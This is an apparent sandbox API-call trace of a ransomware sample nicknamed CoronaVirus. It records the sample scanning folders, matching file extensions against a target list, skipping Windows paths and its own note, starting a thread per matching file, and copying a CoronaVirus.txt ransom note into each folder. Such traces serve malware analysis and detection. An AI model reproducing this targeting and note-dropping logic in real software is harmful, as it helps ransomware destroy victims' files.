	[0082.128] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0082.128] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.129] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0082.129] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0082.130] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.130] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0082.131] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.131] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0082.131] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.131] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0082.131] malloc (_Size=0x1000) returned 0x2f25530
	[0082.131] _swprintf (in: param_1=0x2f25530, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0082.131] wcsstr (_Str="C:\\588bce7c90097ed212\\2052\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0082.131] wcsstr (_Str="C:\\588bce7c90097ed212\\2052\\eula.rtf", _SubStr="wasse") returned 0x0
	[0082.131] wcsstr (_Str="C:\\588bce7c90097ed212\\2052\\eula.rtf", _SubStr="passw") returned 0x0
	[0082.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f25530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0082.131] SetThreadPriority (hThread=0x498, nPriority=15) returned 1
	[0082.133] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0082.133] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0082.133] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0082.133] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.133] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.133] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.136] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.136] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.136] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.136] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.137] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.137] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.137] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.137] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.137] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.137] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.137] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.137] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.137] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.137] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.137] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.137] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.137] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.137] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.137] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.137] malloc (_Size=0x1000) returned 0x2f26538
	[0082.137] _swprintf (in: param_1=0x2f26538, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0082.137] wcsstr (_Str="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.137] wcsstr (_Str="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0082.137] wcsstr (_Str="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0082.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f26538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0082.138] SetThreadPriority (hThread=0x4b8, nPriority=15) returned 1
	[0082.140] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0082.140] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.140] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.140] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.140] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.140] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.140] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.140] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.140] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.153] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.153] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.154] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.154] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.155] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.155] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.156] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.156] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.156] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0082.156] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1
	[0082.156] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1
	[0082.156] wcsncmp (_String1="2", _String2=".", _MaxCount=0x1) returned 4
	[0082.156] wcsncmp (_String1="20", _String2="..", _MaxCount=0x2) returned 4
	[0082.156] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2070") returned 26
	[0082.156] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0082.156] wcsstr (_Str="C:\\588bce7c90097ed212\\2070", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.157] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.183] _alloca_probe () returned 0x4036d0
	[0082.183] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\2070", lpFilePart=0x316583c*="2070") returned 0x1a
	[0082.184] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea53e323, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0082.184] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.184] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea53e323, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.184] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.184] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea53e323, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea53e323, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.184] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.184] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.184] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.184] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.184] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.184] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.184] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.184] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.184] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.184] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.184] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.184] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.184] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.184] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.184] malloc (_Size=0x1000) returned 0x2f25530
	[0082.184] _swprintf (in: param_1=0x2f25530, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\CoronaVirus.txt") returned 42
	[0082.184] wcsstr (_Str="C:\\588bce7c90097ed212\\2070\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.184] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0082.184] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0082.184] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0082.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.184] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
